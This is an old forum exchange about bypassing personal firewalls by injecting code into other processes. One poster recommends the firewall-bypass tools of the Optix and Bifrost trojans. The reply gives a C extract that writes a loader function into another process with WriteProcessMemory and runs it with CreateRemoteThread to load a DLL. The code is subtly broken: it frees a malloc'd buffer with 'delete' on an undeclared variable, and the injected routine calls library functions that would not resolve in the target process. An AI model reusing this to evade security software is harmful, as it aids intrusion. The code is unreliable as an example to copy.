QUOTE(cool_one @ Dec 10 2004, 06:14 PM)
injection is tuff and most ifrewalls simply compare the the list of dlls needed and the list of dlls actually used. my suggestion is to use FWB, FireWall Bypass, like optix FWB or bifrost FWB which actually drives code into the core of the exe without ruining it at all this technique requires awesome assembly skills as the brain of the code that ventures around the memory is very complex because it must place code some where safe and continually is moving from empty segment to empty segment.
It is actually not hard to do this. You can use WriteProcessMemory to write a function into the another process' memory space, and then CreateRemoteThread to execute this function. This requires no asm skills, only c programming + knowledge of winapi.
Here is an extract from one of my programs that uses this idea:
CODE
// here's the tricky bit. when we inject the function into target process it will not have access to any
// functions via imports since it is not compiled with the process
// instead we must supply function pointer to it, which tell it where to look
// this method relies of the fact that ntdll.dll is loaded into the same place in all processes!
// pointer to RtlInitUnicodeString and LdrLoadDll
FARPROC fPointers[2];
fPointers[0] = GetProcAddress(LoadLibrary("ntdll.dll"), "RtlInitUnicodeString");
fPointers[1] = g_OriginalLdrLoadDll;//GetProcAddress(LoadLibrary("ntdll.dll"), "LdrLoadDll");
void* lpStartAddress = VirtualAllocEx(targetProcessHandle, NULL, functionSize, MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
SIZE_T numBytesWritten = NULL;
BOOL didWork = WriteProcessMemory(targetProcessHandle, lpStartAddress, &InjectedDllLoader, functionSize, &numBytesWritten);
HANDLE hHandle = CreateRemoteThread(targetProcessHandle, NULL, 0,(LPTHREAD_START_ROUTINE)lpStartAddress, fPointers, 0, &ThreadID);
....
....
void WINAPI InjectedDllLoader(FARPROC functionPointers[2])
{
wchar_t temp[] = L"Secure API Library.dll";
int totalSize = wcslen(temp)*sizeof(wchar_t) + 2*sizeof(USHORT) + 1;
void* dllName = malloc(totalSize);
((RTLINITUNICODESTRING)functionPointers[0])((PUNICODE_STRING)dllName, temp);
DWORD dllHandle = 0;
((LDRLOADDLL)functionPointers[1])(NULL, NULL, (PUNICODE_STRING)dllName, (PVOID*)&dllHandle);
delete pdllName;
}
This is using this concept to write the function InjectedDllLoader into the process space of another process, and then uses CreateRemoteThread to execute it.
